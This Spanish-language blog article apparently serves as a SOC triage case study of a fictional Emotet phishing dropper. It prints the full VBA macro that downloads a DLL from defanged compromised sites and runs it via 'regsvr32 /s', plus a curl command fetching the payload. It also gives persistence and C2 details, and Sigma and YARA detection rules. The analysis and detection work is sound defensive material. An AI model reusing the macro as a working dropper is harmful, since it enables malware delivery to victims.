IntermedioEmotettriajethread hijackingIOCsSigmaYARAMITRE ATT&CK

Triaje de Emotet Dropper: De Email Sospechoso a IOCs Accionables

Proceso completo de triaje de un dropper Emotet: análisis del email con thread hijacking, extracción de DLL, análisis de comportamiento, mapeo de infraestructura C2, extracción de IOCs y creación de reglas Sigma y YARA para detección.

MalwareIntel Research··12 min lectura
Serie: Casos de Uso — Parte 2

Escenario: thread hijacking en acción

El analista SOC N1 escala un ticket: un usuario de RRHH ha reportado un email sospechoso. Lo inusual es que el correo aparece dentro de un hilo de conversación real con un proveedor de nóminas. El asunto dice "RE: Revisión de nóminas Q2 2026" y contiene un archivo ZIP adjunto llamado Nominas_Q2_revision.zip.

El remitente es una dirección legítima del proveedor de nóminas (carlos.martinez@nominas-plus[.]es), pero el departamento de TI confirma que esa cuenta fue comprometida la semana anterior. Estamos ante un caso de thread hijacking: Emotet ha robado el hilo de conversación real y lo usa como vector de distribución.

Análisis del email

Headers relevantes

From: "Carlos Martinez" <carlos.martinez@nominas-plus[.]es>
To: laura.garcia@empresa[.]local
Subject: RE: Revisión de nóminas Q2 2026
In-Reply-To: <[email protected]>
References: <[email protected]> <[email protected]>
Received: from smtp-relay.nominas-plus[.]es (178.62.43[.]218)
X-Originating-IP: 178.62.43[.]218
Date: Mon, 02 Jun 2026 14:22:17 +0200
Content-Type: multipart/mixed; boundary="----=_NextPart_001_0042_01D8F4A2"

La clave del thread hijacking:

  • In-Reply-To y References: Apuntan a message-IDs reales de la conversación original. El cliente de correo del destinatario muestra el email dentro del hilo existente.
  • From legítimo: La dirección es real y pertenece a una cuenta comprometida, no un dominio spoofed.
  • IP de origen: 178.62.43[.]218 es un VPS en DigitalOcean, no la infraestructura real de nominas-plus[.]es.

Cuerpo del email

Hola Laura,

Te adjunto la revisión de las nóminas que comentamos. Necesito que
revises los cambios en la tabla de cotizaciones antes del viernes.

Un saludo,
Carlos

El texto es coherente con la conversación original, lo que aumenta la credibilidad del phishing.

Análisis del adjunto

$ file Nominas_Q2_revision.zip
Nominas_Q2_revision.zip: Zip archive data, at least v2.0 to extract

$ unzip -l Nominas_Q2_revision.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   142336  2026-06-02 14:18   Nominas_Q2_revision.doc

$ sha256sum Nominas_Q2_revision.zip
b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5

El ZIP contiene un .doc (formato antiguo, no .docx). Emotet prefiere formatos legacy porque permiten macros sin la protección MOTW que aplica Office a formatos modernos.

Análisis del documento

Extracción de macro con olevba

$ olevba Nominas_Q2_revision.doc --decode

Resultado relevante:

Private Sub Document_Open()
    Dim arrURLs(4) As String
    arrURLs(0) = "hxxps://electrodomesticos-garcia[.]com/wp-content/uploads/2026/06/inv.php"
    arrURLs(1) = "hxxps://blog-cocina-madrid[.]es/wp-includes/css/inv.php"
    arrURLs(2) = "hxxps://taller-motos-sevilla[.]net/images/inv.php"
    arrURLs(3) = "hxxps://floristeria-online-bcn[.]com/modules/inv.php"
    arrURLs(4) = "hxxps://clinica-dental-valencia[.]es/assets/inv.php"
    
    Dim sPath As String
    sPath = Environ("TEMP") & "\regsvr_" & Int(Rnd * 9999) & ".dll"
    
    Dim i As Integer
    For i = 0 To UBound(arrURLs)
        On Error Resume Next
        Dim oHTTP As Object
        Set oHTTP = CreateObject("MSXML2.XMLHTTP")
        oHTTP.Open "GET", arrURLs(i), False
        oHTTP.Send
        
        If oHTTP.Status = 200 And Len(oHTTP.responseBody) > 10000 Then
            Dim oStream As Object
            Set oStream = CreateObject("ADODB.Stream")
            oStream.Open
            oStream.Type = 1
            oStream.Write oHTTP.responseBody
            oStream.SaveToFile sPath, 2
            oStream.Close
            
            Shell "regsvr32 /s " & sPath, vbHide
            Exit For
        End If
        On Error GoTo 0
    Next i
End Sub

Patrones de Emotet identificados:

  1. Múltiples URLs de descarga: 5 sitios WordPress comprometidos como distribución. Si uno cae, intenta el siguiente.
  2. Descarga de DLL: El payload es una DLL, no un EXE.
  3. regsvr32 como LOLBin: Usa regsvr32 /s (silencioso) para registrar y ejecutar la DLL. Técnica LOLBAS que evita alertas de ejecución de EXE desconocido.
  4. Nombre aleatorio: regsvr_XXXX.dll con número aleatorio para dificultar detección por nombre de archivo.
  5. Validación de tamaño: Solo acepta respuestas mayores de 10.000 bytes para evitar descargar páginas de error.

Sitios comprometidos como distribución

Los 5 dominios son sitios WordPress legítimos comprometidos. Emotet abusa de sitios con CMS vulnerables para alojar sus payloads temporalmente:

DominioSectorCMSPath del payload
electrodomesticos-garcia[.]comRetailWordPress/wp-content/uploads/2026/06/
blog-cocina-madrid[.]esBlogWordPress/wp-includes/css/
taller-motos-sevilla[.]netServiciosWordPress/images/
floristeria-online-bcn[.]comRetailWordPress (Prestashop)/modules/
clinica-dental-valencia[.]esSaludWordPress/assets/

Emotet DLL extraction

Descarga segura del payload

Desde la sandbox, descargamos la DLL del primer sitio disponible:

$ curl -o emotet_sample.dll "hxxps://electrodomesticos-garcia[.]com/wp-content/uploads/2026/06/inv.php" \
  --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

$ file emotet_sample.dll
PE32 executable (DLL) Intel 80386

$ sha256sum emotet_sample.dll
c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7

$ diec emotet_sample.dll
Compiler: Microsoft Visual C/C++ (2019)
Packer: None detected

Análisis estático de la DLL

$ pestudio emotet_sample.dll

Hallazgos:

IndicadorValorSignificado
Tamaño142 KBPequeño para una DLL con funcionalidad completa
ExportsDllRegisterServerExport estándar para regsvr32
Imports sospechososInternetOpenA, InternetConnectA, HttpSendRequestAComunicación HTTP
Imports sospechososCreateProcessW, VirtualAllocEx, WriteProcessMemoryInyección de proceso
Imports sospechososCryptEncrypt, CryptDecryptCifrado de comunicaciones
Secciones.text (5.8), .rdata (4.2), .data (7.6).data con entropía alta: datos cifrados
Timestamp2026-06-01 22:14:07 UTCCompilado un día antes del envío

Behavioral analysis

Ejecución en sandbox

Ejecutamos en CAPE Sandbox con configuración de red controlada:

Comando: regsvr32 /s C:\Users\analyst\Desktop\emotet_sample.dll
Duración: 180 segundos
Red: FakeNet-NG + INetSim
Monitorización: Procmon + API Monitor + Wireshark

Comportamiento observado

Fase 1: Inicialización (0-5 segundos)

regsvr32.exe
  ├─ Crea mutex: Global\M_E4B7C2A1
  ├─ Desempaqueta código en memoria (VirtualAlloc + RtlMoveMemory)
  ├─ Resuelve APIs dinámicamente (GetProcAddress en bucle)
  └─ Enumera procesos (CreateToolhelp32Snapshot)

Fase 2: Persistencia (5-10 segundos)

regsvr32.exe
  ├─ Se copia a: C:\Users\<user>\AppData\Local\Microsoft\Windows\Cache\mspaint32.dll
  ├─ Crea servicio: "WindowsPaintHelper" → regsvr32 /s mspaint32.dll
  └─ Alternativa: Tarea programada cada 15 minutos

Fase 3: Comunicación C2 (10-180 segundos)

regsvr32.exe
  ├─ Intenta conexión a 12 IPs (lista hardcodeada en binario)
  ├─ Protocolo: HTTP POST con datos cifrados (AES-CBC)
  ├─ Envía: hostname, username, OS version, lista de procesos
  ├─ Recibe: comandos (módulos adicionales, spam template, credenciales)
  └─ Si ningún C2 responde: reintenta cada 60 segundos

Recolección de datos del sistema

Emotet recopila y envía al C2:

Computer Name:    DESKTOP-A7B3C2D
User Name:        laura.garcia
OS Version:       Windows 10 Pro 22H2 (Build 19045)
Architecture:     x64
Domain:           EMPRESA
Installed AV:     Windows Defender
Running Processes: explorer.exe, outlook.exe, chrome.exe, teams.exe

C2 infrastructure mapping

Lista de C2 extraída del binario

Mediante análisis del binario desempaquetado, extraemos la lista de servidores C2 hardcodeados:

IPPuertoProtocoloGeolocalizaciónASN
185.148.168[.]158080HTTPRusiaAS44477
103.75.201[.]2443HTTPSVietnamAS45899
164.68.99[.]38080HTTPAlemaniaAS51167
159.65.88[.]10443HTTPSEEUUAS14061
188.44.20[.]25443HTTPSRusiaAS29182
45.71.195[.]1048080HTTPBrasilAS28299
72.15.201[.]157080HTTPEEUUAS20473
103.43.75[.]120443HTTPSIndonesiaAS135161
91.207.28[.]338080HTTPUcraniaAS25092
190.90.233[.]66443HTTPSColombiaAS13489
82.165.152[.]1278080HTTPAlemaniaAS8560
119.59.103[.]1648080HTTPTailandiaAS17552

Patrón de infraestructura:

  • Distribución global: 12 C2 en 10 países para resiliencia.
  • Puertos recurrentes: 8080, 443, 7080 (puertos típicos de Emotet).
  • Mix de protocolos: HTTP en puertos altos + HTTPS en 443.
  • VPS y servidores comprometidos: Mix de hosting comercial y servidores legítimos comprometidos.
  • Sin dominios: Todas las comunicaciones van directamente a IPs, sin resolución DNS.

Comparación con Feodo Tracker

Cruzamos las IPs con la base de datos de Feodo Tracker (abuse.ch):

7 de 12 IPs ya listadas en Feodo Tracker como Emotet Epoch 4
3 IPs nuevas: reportadas a abuse.ch
2 IPs offline al momento del análisis

IOCs accionables

Red

TipoValorContextoTLP
IPv4178.62.43[.]218Origen del email (VPS comprometido)GREEN
IPv4185.148.168[.]15C2 Emotet (puerto 8080)GREEN
IPv4103.75.201[.]2C2 Emotet (puerto 443)GREEN
IPv4164.68.99[.]3C2 Emotet (puerto 8080)GREEN
IPv4159.65.88[.]10C2 Emotet (puerto 443)GREEN
IPv4188.44.20[.]25C2 Emotet (puerto 443)GREEN
IPv445.71.195[.]104C2 Emotet (puerto 8080)GREEN
IPv472.15.201[.]15C2 Emotet (puerto 7080)GREEN
Domainelectrodomesticos-garcia[.]comWordPress comprometido (distribución)GREEN
Domainblog-cocina-madrid[.]esWordPress comprometido (distribución)GREEN
Domaintaller-motos-sevilla[.]netWordPress comprometido (distribución)GREEN

Host

TipoValorContexto
SHA256b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5ZIP adjunto
SHA256c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7Emotet DLL
File%LOCALAPPDATA%\Microsoft\Windows\Cache\mspaint32.dllDLL persistente
ServiceWindowsPaintHelperServicio de persistencia
MutexGlobal\M_E4B7C2A1Mutex de instancia única

Mapeo MITRE ATT&CK

IDTécnicaTácticaEvidencia
T1566.001Spearphishing AttachmentInitial AccessZIP con documento Word via thread hijacking
T1586.002Compromise Email AccountsResource DevelopmentCuenta legítima comprometida para envío
T1204.002User Execution: Malicious FileExecutionUsuario abre documento y habilita macros
T1059.005Visual BasicExecutionMacro VBA con Document_Open
T1218.010Regsvr32Defense EvasionEjecución de DLL via regsvr32 /s
T1027.002Software PackingDefense EvasionDLL empaquetada con código desempaquetado en runtime
T1055.001DLL InjectionDefense EvasionInyección en proceso legítimo
T1543.003Windows ServicePersistenceServicio WindowsPaintHelper
T1071.001Web ProtocolsCommand and ControlHTTP/HTTPS a IPs sin dominio
T1573.001Symmetric CryptographyCommand and ControlAES-CBC para cifrar tráfico C2
T1082System Information DiscoveryDiscoveryEnvía hostname, OS, arquitectura al C2
T1057Process DiscoveryDiscoveryEnumera procesos con CreateToolhelp32Snapshot

Detección: reglas Sigma y YARA

Regla Sigma: regsvr32 ejecutando DLL desde directorio temporal

title: Regsvr32 Loading DLL from Temp Directory
id: d5e6f7a8-b9c0-4d1e-a2f3-b4c5d6e7f8a9
status: experimental
description: Detects regsvr32 loading a DLL from user temp directories, common Emotet behavior
references:
    - https://malwareintel.es/blog/casos-de-uso/triaje-emotet-email-iocs
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains:
            - '\AppData\Local\Temp\'
            - '\Users\'
    filter:
        CommandLine|contains:
            - '\Program Files'
            - '\Windows\System32'
    condition: selection and not filter
level: high
tags:
    - attack.defense_evasion
    - attack.t1218.010
    - attack.execution

Regla Sigma: servicio sospechoso con regsvr32

title: Suspicious Service Created with Regsvr32
id: e6f7a8b9-c0d1-4e2f-b3a4-c5d6e7f8a9b0
status: experimental
description: Detects creation of a Windows service that executes regsvr32 with a DLL
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        EventID: 7045
        ImagePath|contains: 'regsvr32'
    condition: selection
level: critical
tags:
    - attack.persistence
    - attack.t1543.003

Regla YARA: Emotet DLL dropper

rule Emotet_DLL_Dropper_2026 {
    meta:
        description = "Detects Emotet DLL dropper based on behavioral indicators"
        author = "MalwareIntel Research"
        date = "2026-06-06"
        reference = "https://malwareintel.es/blog/casos-de-uso/triaje-emotet-email-iocs"
        
    strings:
        $mutex1 = "Global\\M_" ascii
        $api1 = "InternetOpenA" ascii
        $api2 = "HttpSendRequestA" ascii
        $api3 = "CryptEncrypt" ascii
        $api4 = "CreateToolhelp32Snapshot" ascii
        $api5 = "VirtualAllocEx" ascii
        $export = "DllRegisterServer" ascii
        
        $ip_pattern = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ascii
        
    condition:
        uint16(0) == 0x5A4D and
        filesize < 300KB and
        $export and
        $mutex1 and
        3 of ($api*) and
        #ip_pattern > 5
}

Regla YARA: documento con macro Emotet

rule Emotet_Maldoc_MultiURL {
    meta:
        description = "Detects Emotet maldoc with multiple download URLs"
        author = "MalwareIntel Research"
        date = "2026-06-06"
        
    strings:
        $vba1 = "Document_Open" ascii
        $vba2 = "AutoOpen" ascii
        $dl1 = "MSXML2.XMLHTTP" ascii
        $dl2 = "ADODB.Stream" ascii
        $exec1 = "regsvr32" ascii nocase
        $exec2 = "Shell" ascii
        $url_pattern = /https?:\/\/[a-z0-9\-\.]+\.[a-z]{2,6}\/[a-z0-9\-\/]+\.php/ ascii nocase
        
    condition:
        (uint32(0) == 0xE011CFD0 or uint32(0) == 0x04034B50) and
        ($vba1 or $vba2) and
        1 of ($dl*) and
        1 of ($exec*) and
        #url_pattern >= 3
}

Lecciones del triaje

Thread hijacking cambia las reglas

El phishing convencional se detecta por dominios spoofed, errores gramaticales y urgencia artificial. El thread hijacking elimina todos esos indicadores: el remitente es real, el contexto es real, y el email aparece en un hilo conocido.

Contramedidas específicas:

  1. Sandbox de adjuntos: Todos los adjuntos ZIP y DOC pasan por sandbox antes de llegar al buzón, independientemente del remitente.
  2. Alertas por adjuntos de contactos comprometidos: Si un proveedor reporta un breach, activar alerta temporal para todos los emails con adjuntos de ese dominio.
  3. Detección de macros en gateway: Rechazar documentos .doc y .docm de fuentes externas. Permitir solo .docx (sin macros) y .xlsx.

Emotet como servicio de distribución

Emotet no es solo un malware: es una plataforma de distribución. Una vez que el dropper establece persistencia y contacta el C2, puede descargar módulos adicionales:

  • Módulo de spam: Roba contactos y envía más emails de phishing (thread hijacking).
  • Módulo de credenciales: Extrae contraseñas de navegadores y clientes de correo.
  • Payloads de terceros: Emotet vende acceso a máquinas infectadas. Ha distribuido TrickBot, QBot, Cobalt Strike y ransomware como Ryuk y Conti.

La detección temprana del dropper es crítica: una vez que Emotet descarga un segundo payload, el incidente escala exponencialmente.

Workflow de triaje recomendado

1. Email sospechoso → Extraer headers + adjunto (sin abrir)
2. Hash del adjunto → Consultar VT, MalwareBazaar, MalwareIntel
3. Si no conocido → olevba para extraer macro (análisis estático)
4. Identificar URLs → Consultar URLhaus, OTX, VirusTotal
5. Si URLs activas → Sandbox (ANY.RUN, CAPE, Joe Sandbox)
6. Extraer DLL/EXE → Análisis estático + dinámico
7. Mapear C2 → Cruzar con Feodo Tracker, ThreatFox
8. Generar IOCs → Distribuir a firewall, SIEM, EDR
9. Documentar → Informe con ATT&CK mapping + reglas de detección

Los IOCs presentados en este artículo son ficticios pero realistas, diseñados con fines educativos. Las técnicas de triaje y detección son aplicables a incidentes reales con Emotet y otros droppers similares.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.